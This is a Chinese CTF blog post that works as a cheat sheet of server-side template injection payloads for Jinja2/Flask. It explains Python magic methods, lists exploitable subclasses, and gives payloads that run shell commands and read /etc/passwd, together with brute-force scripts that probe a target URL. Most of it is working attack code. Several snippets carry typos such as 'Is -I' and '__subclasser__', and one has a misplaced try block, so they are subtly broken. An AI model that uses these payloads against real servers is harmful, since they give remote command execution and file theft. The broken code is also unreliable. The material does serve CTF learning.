ctf ssti 各种payload与绕过(后续会补充 绕过)

目录

各种魔术方法

常用注入模块

payload

         linecache类命令执行

frozen_importlib.BuiltinImporter (importlib类执行命令)

frozen_importlib_external.FileLoader (文件读取)

内建函数eval执行命令

os模块执行命令 (通过其他函数调用os模块)

各种魔术方法

__class__ 返回一个实例所属的类

__mro__ 查看类继承的所有父类,直到object

__subclasses__() 获取一个类的子类,返回的是一个列表

__bases__ 返回一个类直接所继承的类(元组形式)

__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化

__globals__  使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价

__getattribute__ 当类被调用的时候,无条件进入此函数。

__getattr__ 对象中不存在的属性时调用

__dict__ 返回所有属性,包括属性,方法等

__builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数

常用注入模块

os. AddedDIIDirectory
os._wrap _close

frozen_importlib._DummyModuleLock

frozen_importlib._ModuleLockManager

frozen_importlib.ModuleSpeclei

frozen_importlib.BuiltinImporter
frozen_importlib_external.FileLoader
frozen_importlib_external._NamespacePath
frozen_importlib_external._NamespaceLoader
frozen_importlib_external.FileFinder
zipimport.zipimporter
zipimport._ZiplmportResourceReader
_sitebuiltins.Quitter
_sitebuiltins._Printer
warnings.WarningMessage
warnings.catch_warnings
weakref.finalize
pickle._Framer
pickle._Unframer
pickle._Pickler
pickle._Unpickler
jinja2.bccache.Bucket
jinja2.runtime.TemplateReference
jinja2.runtime.Context
jinja2.runtime.BlockReference
jinja2.runtime.LoopContext
jinja2.runtime.Macro
jinja2.runtime.Undefined
jinja2.environment.Environment
jinja2.environment.TemplateExpression
jinja2.environment.TemplateStream
dis.Bytecode

payload

linecache类命令执行

{{''.__class__.__base__.__subclasses__()[i].__init__.__ globals__['linecache']['os'].popen("Is -I /").read()}}
{{''.__class__.__base__.__subclasses__()[i].__init__.__ globals__.linecache.os.popen("Is -I /").read()}}

frozen_importlib.BuiltinImporter (importlib类执行命令)

{{[].__class__.__base__.__subclasses__()[i]["load_module"]("os")["popen"]("ls -l /opt").read()}}

import requests
url= input('请输入URL链接:')
for i in range(500):
    data = {"name":"{{().__class__.__base.__subclasser__()["+str(i)+"]}}"}
try:
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if '_frozen_importlib.BuiltinImporter' in response.text:
            #print(response.text)
            print(i)
except:
    pass

frozen_importlib_external.FileLoader (文件读取)

{{''.__class__.__base__.__subclasses__()[i]["get_data"](0,"/etc/passwd")}}

获取i值(其中name需要根据实际情况而定)

import requests
url= input('请输入URL链接:')
for i in range(500):
    data = {"name":"{{().__class__.__base.__subclasser__()["+str(i)+"]}}"}
try:
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if '_frozen_importlib_external.FileLoader' in response.text:
            #print(response.text)
            print(i)
except:
    pass

内建函数eval执行命令

{{().__class__.__base.__subclasser__()[i].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

获取i值(其中name需要根据实际情况而定)

import requests
url= input('请输入URL链接:')
for i in range(500):
    data = {"name":"{{().__class__.__base.__subclasser__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if 'eval' in response.text:
            #print(response.text)
            print(i)
except:
    pass

os模块执行命令 (通过其他函数调用os模块)

通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url_for,调用os
{{url_for.__globals__.os.popen('whoami').read()}}
在已经加载os模块的子类里直接调用os模块
{{''.__class__.__bases__ [0].__subclasses__()[i].__init__.__globals__['os'].popen("ls -l /opt").read()}}

{{''.__class__.__bases__ .__subclasses__()[i].__init__.__globals__os.popen('id').read()}}

获取i值(其中name需要根据实际情况而定)

import requests
url= input('请输入URL链接:')
for i in range(500):
    data = {"name":"{{().__class__.__base.__subclasser__()["+str(i)+"].__init__.__globals__}}"}
try:
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if 'os.py' in response.text:
            print(response.text)
            print(i)
except:
    pass

目录

各种魔术方法

常用注入模块

payload

linecache类命令执行

frozen_importlib.BuiltinImporter (importlib类执行命令)

frozen_importlib_external.FileLoader (文件读取)

内建函数eval执行命令

os模块执行命令 (通过其他函数调用os模块)


  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值